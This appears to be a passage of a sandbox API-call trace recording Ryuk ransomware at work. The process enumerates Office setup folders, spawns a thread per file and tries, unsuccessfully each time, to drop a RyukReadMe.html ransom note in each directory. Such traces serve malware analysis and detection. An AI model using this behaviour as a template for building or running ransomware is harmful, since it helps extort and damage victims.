	[0164.130] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xbe, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1
	[0164.130] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
	[0164.133] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.134] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0164.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0164.137] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.138] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0164.138] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0164.141] SetLastError (dwErrCode=0x0) 
	[0164.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.151] GetLastError () returned 0x5
	[0164.151] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.151] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1
	[0164.152] SetLastError (dwErrCode=0x0) 
	[0164.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.152] GetLastError () returned 0x5
	[0164.152] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0164.154] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.155] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0xbe, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1
	[0164.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488
	[0164.157] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.158] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0164.158] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0164.161] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.162] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0164.162] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0164.162] SetLastError (dwErrCode=0x0) 
	[0164.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.162] GetLastError () returned 0x5
	[0164.163] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.163] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1
	[0164.163] SetLastError (dwErrCode=0x0) 
	[0164.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.163] GetLastError () returned 0x5
	[0164.163] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0164.472] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.472] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0xbe, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0164.472] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0164.474] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.475] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0164.475] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0164.477] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.478] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0164.478] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0164.478] SetLastError (dwErrCode=0x0) 
	[0164.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.479] GetLastError () returned 0x5
	[0164.479] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.479] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1
	[0164.479] SetLastError (dwErrCode=0x0) 
	[0164.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.480] GetLastError () returned 0x5
	[0164.480] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0164.482] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.482] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0xbe, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1
	[0164.482] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0164.484] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.485] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0164.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0164.487] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.488] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0164.488] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0164.489] SetLastError (dwErrCode=0x0) 
	[0164.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.489] GetLastError () returned 0x5
	[0164.490] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.490] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.490] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1
	[0164.490] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1
	[0164.490] SetLastError (dwErrCode=0x0) 
	[0164.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.491] GetLastError () returned 0x5
	[0164.491] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.491] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0164.498] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.498] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0xbe, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1
	[0164.498] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xbe, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1
	[0164.498] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0164.500] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.501] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1
